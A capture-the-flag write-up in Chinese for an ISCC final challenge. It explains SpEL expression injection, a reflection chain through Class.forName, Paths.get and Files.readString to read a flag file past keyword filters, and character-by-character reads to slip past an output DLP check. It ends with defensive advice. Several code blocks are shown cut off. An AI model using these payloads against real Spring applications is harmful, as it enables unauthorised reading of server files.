ISCC 决赛编码迷宫:SpEL 反射链读取文件
一、题目背景
题目首页是一个 route debugger,输入表达式后会请求:
1 | /api/route?expr= |
测试 1+2、字符串属性、集合表达式后,可以确认后端会对 expr 参数进行 Spring Expression Language,也就是 SpEL 表达式求值。
二、信息收集
访问:
1 | /actuator/info |
可以得到提示:
1 | { |
说明表达式上下文中存在文件操作 helper,目标大概率是读取 flag 文件。
三、直接读取受限
直接尝试:
1 | #fs.read('flag.txt') |
会被关键字过滤、proof 校验或 LFI 限制拦截。
同时,常见的直接类型引用也不可用:
1 | T(java.lang.Runtime) |
因此需要绕过明显的文件读取路径,利用已有对象的 class 属性进入 Java 反射链。
四、反射链构造
SpEL 中可以通过字符串对象拿到 Class:
1 | ''.class |
继续拿到 Class 的类:
1 | ''.class.class |
通过 methods 数组找到 Class.forName(String):
1 | ''.class.class.methods[2] |
将其保存为变量:
1 | #cf=''.class.class.methods[2] |
然后加载 java.nio.file.Paths,获取 Paths.get(String):
1 | #pm=#cf('java.nio.file.Paths').methods[0] |
再加载 java.nio.file.Files,获取 Files.readString(Path):
1 | #m=#cf('java.nio.file.Files').declaredMethods[61] |
组合读取文件:
1 | { |
{...}[4] 的作用是让表达式返回最后一步读取文件的结果。
五、DLP 输出绕过
直接输出完整 flag 时,会触发敏感内容检测:
1 | [DLP System] Warning: Sensitive flag format detected in output stream. Blocked! |
因此不能一次性返回完整 ISCC{...}。
解决方法是先读取长度,再逐字符读取,单个字符不会匹配完整 flag 格式。
读取长度:
1 | {读取文件表达式}.bytes.length |
逐字符读取:
1 | {读取文件表达式}[0] |
最后在本地拼接即可。
六、自动化脚本
1 | import sys |
运行:
1 | python solve.py http://target |
七、漏洞总结
这道题的核心点:
expr参数进入 SpEL 求值。- 直接 helper 被过滤,不能直接用
#fs.read()。 - 通过
''.class.class.methods进入 Java 反射。 - 使用
Paths.get()和Files.readString()读取文件。 - 输出层存在 DLP,需要逐字符读取绕过。
八、防护建议
- 不要对用户输入执行 SpEL 表达式。
- 如果业务必须使用表达式,应使用受限上下文。
- 禁止访问
class、Class.forName、反射相关对象。 - 禁止表达式调用任意方法。
- 对 Actuator 信息做访问控制。
- 敏感文件不应放在应用可读路径。
九、复盘
这题很典型:过滤掉显眼的危险函数并不代表安全。只要表达式上下文还能访问对象元信息,就可能通过反射绕回到标准库能力。
真正的防护重点不是黑名单,而是限制表达式能力边界。